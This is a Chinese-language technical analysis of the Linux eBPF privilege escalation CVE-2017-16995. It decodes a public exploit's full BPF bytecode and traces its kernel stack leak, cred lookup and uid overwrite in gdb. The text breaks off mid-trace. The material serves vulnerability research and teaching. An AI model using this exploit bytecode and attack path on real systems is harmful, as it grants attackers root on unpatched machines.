【原创】深入分析Ubuntu本地提权漏洞CVE-2017-16995
*本文首发阿里云先知安全技术社区，原文链接https://xz.aliyun.com/t/2212
前言：
2018年3月中旬，Twitter 用户 @Vitaly Nikolenko 发布消息，称 ubuntu 最新版本（Ubuntu 16.04）存在高危的本地提权漏洞，而且推文中还附上了 EXP 下载地址。
由于该漏洞成功在aws Ubuntu镜像上复现，被认为是0DAY，引起了安全圈同学们的广泛关注。大体浏览了 一下exp代码，发现利用姿势很优雅，没有ROP，没有堆，没有栈，比较感兴趣，不过等了几天也没发现有详细的漏洞分析，正好赶上周末，便自己跟了一下：）
经过一番了解发现这个漏洞并不是什么0DAY，最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的，编号为CVE-2017-16995，作者在报告该漏洞的时候附了一个DOS的POC。另外，最早公开发布可成功提权exploit也不是Vitaly Nikolenko，而是Bruce Leidl，其在12月21号就把完整的提权exploit公布到了github上，地址：https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。
技术分析
eBPF简介
众所周知，linux的用户层和内核层是隔离的，想让内核执行用户的代码，正常是需要编写内核模块，当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道：BPF（Berkeley Packet Filter）提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码，并通过事件（如往socket写数据）来触发内核执行用户提供的代码；同时以map（key，value）的形式来和内核共享数据，用户层向map中写数据，内核层从map中取数据，反之亦然。BPF设计初衷是用来在底层对网络进行过滤，后续由于他可以方便的向内核注入代码，并且还提供了一套完整的安全措施来对内核进行保护，被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段，cBPF（classic BPF）和eBPF（extend BPF），cBPF已退出历史舞台，后文提到的BPF默认为eBPF。
eBPF虚拟指令系统
eBPF虚拟指令系统属于RISC，拥有10个虚拟寄存器，r0-r10，在实际运行时，虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器，以x64为例，对应关系如下：
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp（帧指针，frame pointer）
每一条指令的格式如下：
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
如一条简单的x86赋值指令：mov eax,0xffffffff,对应的BPF指令为：BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF)，其对应的数据结构为：
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
其在内存中的值为：\xb4\x09\x00\x00\xff\xff\xff\xff。
关于BPF指令系统此处就不再赘述，只要明确以下两点即可：1.其为RISC指令系统，也就是说每条指令大小都是一样的；2.其虚拟的10个寄存器一一对应于物理cpu的寄存器，且功能类似，比如BPF的r10寄存器和rbp一样指向栈，r0用于返回值。
BPF的加载过程
一个典型的BPF程序流程为：
1. 用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map，在attr结构体中指定map的类型、大小、最大容量等属性。
2. 用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核，attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验，这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查，禁止将内核中的地址暴露给用户空间，禁止对BPF程序stack之外的内核地址读写。安全校验通过后，程序被成功加载至内核，后续真正执行时，不再重复做检查。
3. 用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。
4. 用户程序通过操作上一步骤中的socket来触发BPF真正执行。
BPF的安全校验
Bpf指令的校验是在函数do_check中，代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令，
理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话，会怎么样呢？看下面的例子：
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
第一条指令是个简单的赋值语句，把0xFFFFFFFF这个值赋值给r9.
第二条指令是个条件跳转指令，如果r9等于0xFFFFFFFF，则退出程序，终止执行；如果r9不等于0xFFFFFFFF，则跳过后面2条执行继续执行第5条指令。
虚拟执行的时候，do_check检测到第2条指令等式恒成立，所以认为BPF_JNE的跳转永远不会发生，第4条指令之后的指令永远不会执行，所以检测结束，do_check返回成功。
真实执行的时候，由于一个符号扩展的bug，导致第2条指令中的等式不成立，于是cpu就跳转到第5条指令继续执行，这里是漏洞产生的根因，这4条指令，可以绕过BPF的代码安全检查。既然安全检查被绕过了，用户就可以随意往内核中注入代码了，提权就水到渠成了：先获取到task_struct的地址，然后定位到cred的地址，然后定位到uid的地址，然后直接将uid的值改为0，然后启动/bin/bash。
漏洞分析
下面结合真实的exp来动态分析一下漏洞的执行过程。
Vitaly Nikolenko公布的这个exp，关键代码就是如下这个prog数组：
这个数组就是BPF的指令数据，想要搞清楚exp的机理，首先要把这堆16进制数据翻译成BPF指令，翻译结果如下：
bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
"\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN() "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */
"\x00\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MAP_GET(0, BPF_REG_6) r6=op，取map的第1个元素放到r6
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(1, BPF_REG_7) r7=address，取map的第2个元素放到r7
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(2, BPF_REG_8) r8=value，取map的第3个元素放到r8
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ "\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
在do_check上打个断点，编译运行，成功断了下来，先看一下调用栈：
(gdb) bt
#0 do_check (env=0xffff880078190000)
at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724
#1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10,
attr=<optimized out>)
at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240
#2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0)
at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679
#3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>,
cmd=<optimized out>)
at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783
#4 SyS_bpf (cmd=5, uattr=140722476394128, size=48)
at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725
#5 0xffffffff8184efc8 in entry_SYSCALL_64 ()
at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193
#6 0x0000000000000001 in irq_stack_union ()
#7 0x0000000000000000 in ?? ()
(gdb)
首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF)，do_check中最终的赋值语句如下：
其中dst_reg为虚拟执行过程中的寄存器结构体，结构体定义如下：
可以看到该结构体有2个字段，第一个为type，代表寄存器数据的类型，此处为CONST_IMM，CONST_IMM的值为8.另外一个为常量立即数的具体数值，可以看到类型为int有符号整形。
我们在此处下断点，可以看到具体的赋值过程，如下:
(gdb) x/10 $rip-4
0xffffffff8117b0ac <do_check+5548>: mov DWORD PTR [rsi+rax*1+0x8],edx
=> 0xffffffff8117b0b0 <do_check+5552>:
jmp 0xffffffff8117a38c <do_check+2188>
0xffffffff8117b0b5 <do_check+5557>: mov rdi,QWORD PTR [rsp+0x38]
0xffffffff8117b0ba <do_check+5562>: mov rdx,rax
0xffffffff8117b0bd <do_check+5565>: movzx esi,al
0xffffffff8117b0c0 <do_check+5568>: and edx,0x18
0xffffffff8117b0c3 <do_check+5571>: mov rdx,QWORD PTR [rdx-0x7e5db140]
0xffffffff8117b0ca <do_check+5578>: movzx ecx,BYTE PTR [rdi+0x1]
0xffffffff8117b0ce <do_check+5582>: movsx r8d,WORD PTR [rdi+0x2]
0xffffffff8117b0d3 <do_check+5587>: mov r9d,DWORD PTR [rdi+0x4]
(gdb) i r $edx
edx 0xffffffff -1
(gdb) x/10x $rsi+$rax
0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000
0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000
0xffff8800781930c8: 0x00000000 0x00000000
(gdb)
$rsi+$rax处即为reg_state结构体，可以看到第一个字段为8，第二个字段为0Xffffffff。
然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2)，do_check检测到跳转类指令时，根据跳转类型进入不通的检测分支，此处是JNE跳转，进入check_cond_jmp_op分支，如下图:
Do_check在校验条件类跳转指令的时候，会判断条件是否成立，如果是非确定性跳转的话，就说明接下来2个分支都有可能执行（分支A和分支B），这时do_check会把下一步需要跳转到的指令编号（分支B）放到一个临时栈中备用，这样当前指令顺序校验（分支A）过程中遇到EXIT指令时，会从临时栈中取出之前保存的下一条指令的序号（分支B）继续校验。如果跳转指令恒成立的话，就不会再往临时栈中放入分支B，因为分支B永远不会执行，如下图：
第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较，这两个类型如下：
可以看到等号两侧的数据类型完全一致，都为有符号整数，所以此处条件跳转条件恒成立，不会往临时栈中push分支B指令编号。
接下来看BPF_EXIT_INSN()，刚才提到在校验EXIT指令时，会从临时栈中尝试取指令（调用pop_stack函数），如果临时栈中有指令，那就说明还有其他可能执行到的分支，需要继续校验，如果取不到值，表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令，此时pop_stack会返回-1，然后break跳出do_check校验循环，do_check执行结束，校验通过，如下图：
跟进pop_stack，如下图：
实际执行过程如下：
(gdb) x/10i $rip
=> 0xffffffff81178f29 <pop_stack+9>: test r8,r8 //此处判断env->head是否为NULL
0xffffffff81178f2c <pop_stack+12>:
je 0xffffffff81178fb4 <pop_stack+148> //为NULL时，跳转到0xffffffff81178fb4
0xffffffff81178f32 <pop_stack+18>: push rbp
0xffffffff81178f33 <pop_stack+19>: mov rax,rsi
0xffffffff81178f36 <pop_stack+22>: lea rcx,[rdi+0x18]
0xffffffff81178f3a <pop_stack+26>: mov rdx,rdi
0xffffffff81178f3d <pop_stack+29>: lea rdi,[rdi+0x20]
0xffffffff81178f41 <pop_stack+33>: mov rbp,rsp
0xffffffff81178f44 <pop_stack+36>: push r13
0xffffffff81178f46 <pop_stack+38>: push r12
(gdb) i r $r8
r8 0x0 0
(gdb) x/10i 0xffffffff81178fb4
0xffffffff81178fb4 <pop_stack+148>: mov eax,0xffffffff //pop_stack返回-1
0xffffffff81178fb9 <pop_stack+153>: ret //pop_stack返回-1
0xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0]
0xffffffff81178fc0 <verbose>: nop DWORD PTR [rax+rax*1+0x0]
0xffffffff81178fc5 <verbose+5>: push rbp
0xffffffff81178fc6 <verbose+6>: mov rbp,rsp
0xffffffff81178fc9 <verbose+9>: sub rsp,0x50
0xffffffff81178fcd <verbose+13>: mov rax,QWORD PTR gs:0x28
0xffffffff81178fd6 <verbose+22>: mov QWORD PTR [rsp+0x18],rax
0xffffffff81178fdb <verbose+27>: xor eax,eax
(gdb)
到此为止我们了解了BPF的校验过程，这个exp一共有41条指令，BPF只校验了4条指令，然后返回校验成功。
接下来我们继续跟进BPF指令的执行过程，对应的代码如下（路径为kernel/bpf/core.c）：
其中DST为目标寄存器，IMM为立即数，我们跟进DST的定义：
跟进IMM的定义：
很明显，等号两边的数据类型是不一致的，所以导致这里的条件跳转语句的结果完全相反，以下为实际执行过程：
(gdb) x/10i $rip
=> 0xffffffff8117731f <__bpf_prog_run+2191>:
cmp QWORD PTR [rbp+rax*8-0x270],rdx
0xffffffff81177327 <__bpf_prog_run+2199>:
je 0xffffffff81177d8a <__bpf_prog_run+4858>
0xffffffff8117732d <__bpf_prog_run+2205>: movsx rax,WORD PTR [rbx+0x2]
0xffffffff81177332 <__bpf_prog_run+2210>: lea rbx,[rbx+rax*8+0x8]
0xffffffff81177337 <__bpf_prog_run+2215>:
jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff8117733c <__bpf_prog_run+2220>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff81177340 <__bpf_prog_run+2224>: mov edx,eax
0xffffffff81177342 <__bpf_prog_run+2226>: shr dl,0x4
0xffffffff81177345 <__bpf_prog_run+2229>: and edx,0xf
0xffffffff81177348 <__bpf_prog_run+2232>:
cmp QWORD PTR [rbp+rdx*8-0x270],0x0
(gdb) i r $rdx
rdx 0xffffffffffffffff -1
(gdb) x/10x (rbp+rax*8-0x270)
No symbol "rbp" in current context.
(gdb) x/10x ($rbp+$rax*8-0x270)
0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800
0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000
0xffff880076143a98: 0x746ee000 0xffff8800
(gdb)
等号两边的值完全不一样，这里的跳转条件成立，会往后跳2条指令继续执行，和虚拟执行的过程相反。
接下来就是分析exp里面的BPF指令了，通过自定义BPF指令，我们可以绕过安全校验实现任意内核指针泄露，任意内核地址读写。
构造一下攻击路径：
1.申请一个MAP，长度为3；
2.这个MAP的第一个元素为操作指令，第2个元素为需要读写的内存地址，第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC，3个元素组成一个控制指令。
3.组装一个指令，读取内核的栈地址。根据内核栈地址获取到current的地址。
4.读current结构体的第一个成员，或得task_struct的地址，继而加上cred的偏移得到cred地址，最终获取到uid的地址。
5.组装一个写指令，向上一步获取到的uid地址写入0.
6.启动新的bash进程，该进程的uid为0，提权成功。
Exp中就是按照如上的攻击路径来提权的，申请完map之后，首先发送获取内核栈地址的指令，如下：
bpf_update_elem(0, 0);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
然后通过调用writemsg触发BPF程序运行，BPF会进入如下分支：
"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */
#BPF_MAP_GET(0, BPF_REG_6) r6=op
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
之前提到过，BPF的r10寄存器相当于x86_64的rbp，是指向内核栈的，所以这里第一行指令将map的标识放到r9，第二条指令将r9放到r1，作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数，第三条指令将内核栈指针赋值给r2，第四条指令在栈上开辟4个字节的空间，第五条指令将map元素的序号放到r2，第六条指令取map中第r2个元素的值并把返回值存入r0，第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功，r0=0则未成功。成功后执行第9条指令，将取到的值放到r6中。继续依次往下执行，直到执行到下面的路径：
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
判断r6是否为0，为0说明是取栈地址的指令，这时会往下跳3条指令，继续执行第7条指令，将r10的内容写入r2，由于在执行第30条指令时r0指向map中的第二个元素，所以这时r2也指向这个元素，然后用户层通过get_value(2)取到了内核栈的地址，我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点，可以看到过程如下：
(gdb) x/20i 0xffffffff8117788b
0xffffffff8117788b <__bpf_prog_run+3579>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff8117788f <__bpf_prog_run+3583>: movsx rdx,WORD PTR [rbx+0x2]
0xffffffff81177894 <__bpf_prog_run+3588>: add rbx,0x8
0xffffffff81177898 <__bpf_prog_run+3592>: mov rcx,rax
0xffffffff8117789b <__bpf_prog_run+3595>: shr al,0x4
0xffffffff8117789e <__bpf_prog_run+3598>: and ecx,0xf
0xffffffff811778a1 <__bpf_prog_run+3601>: and eax,0xf
0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270]
0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax
=> 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]
0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8
0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]
0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf
0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx
0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778e2 <__bpf_prog_run+3666>: lfence
(gdb) i r $rax
rax 0xffff8800758c3c88 -131939423208312
(gdb)
其中rax的值0xffff8800758c3c88即为泄露的内核栈地址（其实应该称为帧指针更准确）。
然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000，然后构造读数据的map指令去读current中偏移为0的指针值（即为指向task_struct的指针）：
bpf_update_elem(0, 0);
bpf_update_elem(1, 0xffff8800758c0000);
bpf_update_elem(2, 0);
其中addr为当前线程current的值0xffff8800758c0000，这样可以得到task_struct的地址，
过程如下：
(gdb) x/10i $rip-20
0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270]
0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax
=> 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]
0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8
0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]
0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf
0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]
(gdb) i r $rax
rax 0xffff880074343c00 -131939445752832
(gdb) x/10x 0xffff8800758c0000
0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000
0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff
0xffff8800758c0020: 0x00000000 0x00000000
(gdb)
其中rax的值即为指向task_struct的指针，可以看到和current结构体的第一个成员的值是一致的，都是0xffff880074343c00。
得到task_struct地址之后，加上cred的偏移CRED_OFFSET=0x5f8（由于内核版本不通或者内核的编译选项不同，都可能导致cred在task_struct中的偏移不同），组装读取指令取读取指向cred结构体的指针地址：
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074343c00+0x5f8);
bpf_update_elem(2, 0);
过程如下：
(gdb) x/10i $rip
=> 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1]
0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2]
0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8
0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4]
0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf
0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270]
0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx
0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80>
0xffffffff811778e2 <__bpf_prog_run+3666>: lfence
(gdb) i r $rax
rax 0xffff880074cb5e00 -131939435848192
(gdb) p (struct task_struct *)0xffff880074343c00
$15 = (struct task_struct *) 0xffff880074343c00
(gdb) p ((struct task_struct *)0xffff880074343c00)->cred
$16 = (const struct cred *) 0xffff880074cb5e00
(gdb) p &((struct task_struct *)0xffff880074343c00)->cred
$17 = (const struct cred **) 0xffff8800743441f8
(gdb) x/10x 0xffff880074343c00+0x5f8
0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00
0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000
0xffff880074344218: 0x00000000 0x00000000
(gdb)
上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。
cred的地址得到了，再加上uid在cred中的偏移（固定为4）便得到了uid的地址0xffff880074cb5e04，然后构造写数据的map指令：
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074cb5e04);
bpf_update_elem(2, 0);
过程如下（由于第一次运行exp的时候，这里没断下来，所以下面的过程是第二次运行的过程，中间一些结构体的地址发生了稍微的变化）：
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$38 = {val = 1000} //此时uid还是1000
(gdb) ni
0xffffffff811778ac 856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$39 = {val = 1000}
(gdb) ni
0xffffffff811778b4 856 LDST(DW, u64)
(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$40 = {val = 1000}
(gdb) ni
Thread 1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx=0xffff8800746c9d80,
